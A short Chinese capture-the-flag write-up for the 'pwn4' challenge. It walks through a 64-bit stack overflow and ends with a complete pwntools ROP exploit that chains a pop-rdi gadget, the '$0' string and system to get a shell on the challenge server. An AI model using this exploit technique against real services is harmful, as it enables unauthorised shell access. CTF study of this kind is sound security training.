pwn-pwn4

半腔热情 提交于 2019-12-01 01:35:24

依旧是先检查文件的类型和保护  64位没有保护

 用IDA看看,read存在溢出,溢出0x18(不懂可以翻阅前面的博客)

函数system可以调用指令

 

shift+F12看看

$0在Linux中是shell的名称

那么我们可以利用system函数调用$0来getshell,因为是64位,需要用rdi寄存器来给system传值

 现在找一下rdi的地址和$0的地址

 

 现在还需要system的地址

 

 现在就可以编写exp

from pwn import *
r=remote('114.116.54.89',10004)

rdi_add=0x4007D3
shell_add=0x60111F
sys_add=0x40075A

payload='a'*0x18+p64(rdi_add)+p64(shell_add)+p64(sys_add)
r.sendline(payload)
r.interactive()                 

 

 


          

 

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!